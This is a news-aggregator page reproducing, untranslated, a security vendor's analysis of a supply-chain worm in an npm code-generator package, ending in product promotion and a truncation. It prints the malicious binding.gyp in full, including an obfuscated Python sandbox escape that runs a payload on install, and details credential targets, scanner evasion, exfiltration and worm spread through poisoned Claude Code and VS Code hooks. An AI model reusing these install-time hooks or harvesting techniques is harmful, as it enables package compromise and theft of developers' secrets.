AI News HubLIVE
站內改寫6 分鐘閱讀

待翻譯:Popular code generator for TanStack Query hit by supply chain worm

AI 服務暫時不可用,以下為來源摘要,待恢復後補全翻譯:Popular code generator for TanStack Query hit by supply chain worm Ilyas Makari Published on: Aug 28, 2026 Last updated on: Aug 29, 2026 It has only been a day since we heard the news of TeamPCP members being arrested i…

來源Hacker News AI作者: lbw1215

AI 服務暫時不可用,以下為來源正文,待恢復後補全翻譯。

Popular code generator for TanStack Query hit by supply chain worm Ilyas Makari Published on: Aug 28, 2026 Last updated on: Aug 29, 2026 It has only been a day since we heard the news of TeamPCP members being arrested in Australia, and we have now detected a new TeamPCP-like malware hitting 10 versions of a popular npm package called @7nohe/openapi-react-query-codegen (+150,000 weekly downloads). These versions were all published to npm in a span of 20 minutes. The package in question generates type-safe TanStack Query hooks directly from an OpenAPI schema, saving developers from writing boilerplate code by hand. The malware calls itself "Trinitite: Sponsored by Preview 2 Effects". Trinitite is the glassy material left on the desert floor after a nuclear detonation. Earlier versions of the payload referenced a script literally named is_it_this_simple.js, which about sums up the attitude. Whether we are dealing with a copycat, an ex-member who escaped the arrests, or a completely separate threat actor remains unclear. Whoever is behind this attack clearly shares their taste for the theatrical with TeamPCP. Both the npm package and its corresponding GitHub repository appear to have been compromised. The attacker gained access by exploiting a vulnerability in one of the project's GitHub Actions workflows. Therefore, all releases come with valid provenance attestations. These are cryptographic certificates proving the package was built by the official GitHub Actions workflow. However, when the workflow itself is compromised, that certificate becomes an unreliable trust signal. The binding.gyp sandbox escape The initial execution hook is binding.gyp, a file normally used to configure native Node.js addon compilation. I was somewhat surprised to see this particular trick being used here, given that I reported on this vulnerability class earlier this year. The technique appears to be catching on. When npm install processes a package containing a binding.gyp, it invokes node-gyp to compile the native module. node-gyp evaluates the conditions field in the file using Python, which means arbitrary Python expressions can be placed there and they will be executed during install, even without any preinstall script declared in package.json. The binding.gyp in this package looks like this: { "variables": { "var": "Frot", }, "conditions":[ ["[c for c in ().class.base.subclasses() if c.name == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.builtins[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}], ], "targets": [ { "target_name": "<(var)", "type":"\x6e\x6f\x6e\x65", "sources": ["dog.c"], } ] } The condition expression is a Python sandbox escape using the catch_warnings class, accessed by walking the class hierarchy from (). Once decoded, the Unicode and hex escapes resolve to this: [c for c in ().class.base.subclasses() if c.name == 'catch_warnings'][0]()._module.builtins['import']('os').system('node 3FWCvzduYZg.js') It finds the catch_warnings class through Python's internal subclass tree, uses it to access builtins, imports os, and calls os.system() to run the main payload with Node. The type field is hex-encoded none so no actual native build is attempted, and the target name Frot is meaningless. The whole file exists solely to execute one shell command. It is worth noting that not all compromised versions use this trick. The two prerelease versions use a straightforward preinstall script instead. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab runs node nu.js directly. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be downloads Bun via wget piped to bash and then runs is_it_this_simple.js. That said, subsequent compromised versions doubled down and added both vectors at once, pairing the binding.gyp trick with an explicit "preinstall": "node 3FWCvzduYZg.js" script for good measure. Obfuscation and sandbox evasion 3FWCvzduYZg.js is a 5.4 MB single-line file sitting in the package root. The file uses four layers of encryption. The outermost layer is a 1.6-million-element integer array, XOR'd with key 29. That decrypts to a script that downloads the Bun runtime silently (as trinnyyyy-XXXXX in the system temp directory) and uses it to run the real payload, which is AES-128-GCM encrypted inside. The inner payload is a further 800 KB of obfuscated JavaScript using a custom shuffled-table cipher on top of standard obfuscator.io transforms. Fully decrypted and deobfuscated, it contains a credential harvester, a worm, and a destructive command. Before doing anything, the payload checks several conditions and exits silently if any of them match: The system locale is Russian (checks Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, LANGUAGE, LANG) CrowdStrike, SentinelOne, or CarbonBlack directories are present The working directory starts with /tmp/npm-safe/ or /opt/hscan-supplychain-dynamic/ Environment variables contain known fake credential prefixes used by security scanners (AKIAFAKE, npm_F4k3NPMToken, sk-ant-api03-fake, ghp_decoyGitHubToken) The GITHUB_REPOSITORY_OWNER is one of several known security research accounts (actions-security-demo, h0x0er, varunsh-coder, rohan-stepsecurity) The StepSecurity harden-runner tool is active What it steals The payload targets a broad range of credentials, across cloud platforms, developer tools, and local files. GitHub tokens Scans for classic PATs (gh[op]_...) and fine-grained tokens (github_pat_...) in environment variables and local files. On GitHub Actions runners it also requests an OIDC token via ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL. npm, PyPI, and RubyGems tokens Reads ~/.npmrc and scans for additional .npmrc files. Extracts bearer tokens and validates them against registry.npmjs[.]org/-/whoami. Targets PyPI tokens (pypi-AgEIcHlwaS5vcmcCJ...) and RubyGems tokens (rubygems_...) by the same method. AWS credentials AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, and ten related environment variables ~/.aws/credentials and ~/.aws/config EC2 Instance Metadata Service at 169[.]254[.]169[.]254, trying IMDSv2 first ECS container metadata endpoint at 169[.]254[.]170[.]2 Calls sts:GetCallerIdentity to verify credentials before exfiltrating Azure credentials AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, and federated token file Azure IMDS managed identity endpoint Accesses Azure Key Vault, Azure Resource Manager, and Microsoft Graph API once authenticated GCP credentials GOOGLE_APPLICATION_CREDENTIALS service account JSON file GCP metadata server at metadata[.]google[.]internal Google Secret Manager once a token is obtained HashiCorp Vault VAULT_TOKEN_FILE, VAULT_TOKEN_PATH, VAULT_ADDR, VAULT_API_TOKEN Enumerates secrets via /api/v1/system/me, /secrets, /api/v1/namespaces Kubernetes Service account token at /var/run/secrets/kubernetes.io/serviceaccount/token KUBECONFIG and ~/.kube/config /etc/rancher/k3s/k3s.yaml Filesystem scan (150+ glob patterns) All SSH private keys: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/id* ~/.docker/config.json, /root/.docker/config.json .env, .env.local, .env.production ~/.git-credentials, ~/.gitconfig, ~/.config/git/credentials ~/.npmrc, ~/.pypirc, ~/.cargo/credentials.toml, ~/.terraform.d/credentials.tfrc.json ~/.bash_history, ~/.zsh_history, ~/.node_repl_history Crypto wallets: ~/.ethereum/keystore/*, ~/.monero/*, Ledger Live, Exodus Messaging session data: Signal, Telegram Desktop, Discord, Slack, Element VPN configs: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA Claude AI: ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, ~/.claude/mcp.json JFrog Artifactory domains and tokens Exfiltration Once credentials are collected, the payload needs a GitHub repository to upload them to. As with previous Miasma-like attacks, it first searches GitHub's public commit history for commits whose message matches "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". It decrypts the embedded token and uses that account to create the exfil repository. This means stolen data from one victim ends up in a repo owned by a different user. The repository name is generated by combining two randomly chosen Touhou Project character names with a random number, for example cirno-marisa-74291 or reimu-kogasa-12048. The repository description is set to "Trinitite: Sponsored by Preview 2 Effects", which is how you can identify exfiltration repos in the wild: The stolen credentials are committed as encrypted JSON files named doubletrinnys-{counter}-{timestamp}.json inside a results/ directory. Each file contains two fields: envelope, the encrypted credential bundle, and key, the encryption key itself encrypted with the attacker's RSA public key. Only the attacker, holding the corresponding private key, can decrypt the contents. The data sits in plain sight on public GitHub repositories but is unreadable to anyone else. Interestingly, most commit messages simply read "meow meow meow". Worm propagation Trinitite uses stolen tokens to spread itself to other packages and repositories. npm, PyPI, and RubyGems With a stolen npm token, the payload calls registry.npmjs[.]org/-/npm/v1/tokens to find the publish token with the highest privilege level, then queries /v1/search?text=maintainer:{user} to enumerate every package that maintainer owns. It fetches the current tarball for each package, injects a new binding.gyp containing the same Python sandbox escape, drops in a copy of 3FWCvzduYZg.js, and publishes a new version. The same pattern applies to PyPI (via upload.pypi[.]org/legacy/) and RubyGems (via rubygems[.]org/api/v1/gems). All publish requests use {tls: {rejectUnauthorized: false}} to bypass certificate pinning. GitHub repository poisoning With a stolen GitHub token, the payload enumerates every accessible repository and branch, skipping branches prefixed with release/, dependabot/, renovate/, and copilot/. For each branch it commits the following files: .vscode/tasks.json with a backdoored task runner configuration .claude/settings.json with a SessionStart hook that executes setup.mjs every time a developer opens the project in Claude Code .claude/setup.mjs containing the secondary payload .vscode/setup.mjs containing the same .github/workflows/codeql.yml, a fake CodeQL security workflow that doubles as a backdoor .gemini/settings.json, .cursor/rules/debug.mdc, .codex/config.toml, .opencode/plugins/setup.js Every commit is authored as github-actions with the message "chore: update dependencies" and a skip-checks:true trailer to bypass required status checks. How Aikido detects this If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now. If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required. For broader coverage across your whole team, Aikido's Device Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed. For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, [truncated for AI cost control]